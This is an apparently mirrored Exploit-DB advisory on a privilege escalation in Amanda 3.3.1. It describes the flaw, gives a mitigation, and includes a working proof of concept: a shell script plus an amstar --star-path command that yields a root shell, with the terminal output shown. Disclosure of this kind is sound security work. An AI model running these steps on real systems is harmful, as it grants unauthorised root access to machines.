Amanda Privilege Escalation Vulnerability

vendor:

Amanda

by:

Hacker Fantastic

7,2

CVSS

HIGH

Privilege Escalation

264

CWE

Product Name: Amanda

Affected Version From: 3.3.1

Affected Version To: 3.3.1

Patch Exists: NO

Related CWE: N/A

CPE: a:zmanda:amanda:3.3.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2013

Amanda Privilege Escalation Vulnerability

A user with backup privs can trivially compromise a client installation of Amanda. Amstar is an Amanda Application API script which should not be run by users directly. It uses star to backup and restore data and runs binaries with root permissions when parsing the command line arguement --star-path. An example is shown below where a user with backup privs can gain root access.

Mitigation:

Restrict access to the amstar binary and ensure that users with backup privs do not have access to it.

Source

Exploit-DB raw data:

AMANDA, the Advanced Maryland Automatic Network Disk Archiver, is a backup 
solution that allows the IT administrator to set up a single master backup
server to back up multiple hosts over network to tape drives/changers or 
disks or optical media. Amanda uses native utilities and formats (e.g. dump
and/or GNU tar) and can back up a large number of servers and workstations
running multiple versions of Linux or Unix. 

A user with backup privs can trivially compromise a client installation.
Amstar is an Amanda Application API script. It should not be run by users 
directly. It uses star to backup and restore data. It runs binaries with
root permissions when parsing the command line arguement --star-path. 

Tested against Amanda 3.3.1. An example is shown below:

$ id
uid=34(backup) gid=34(backup) groups=34(backup),6(disk),26(tape)
$ cat /tmp/runme.sh
#!/bin/sh
/bin/sh
$ ls -al /usr/lib/amanda/application/amstar
-rwsr-xr-- 1 root backup 31284 Jul 29  2012 /usr/lib/amanda/application/amstar
$ /usr/lib/amanda/application/amstar restore --star-path=/tmp/runme.sh
# id
uid=0(root) gid=34(backup) groups=0(root),6(disk),26(tape),34(backup)
# uname -a
Linux raspberrypi 3.10.25 #1 Sat Dec 28 20:50:23 EST 2013 armv6l GNU/Linux
#

 -- Hacker Fantastic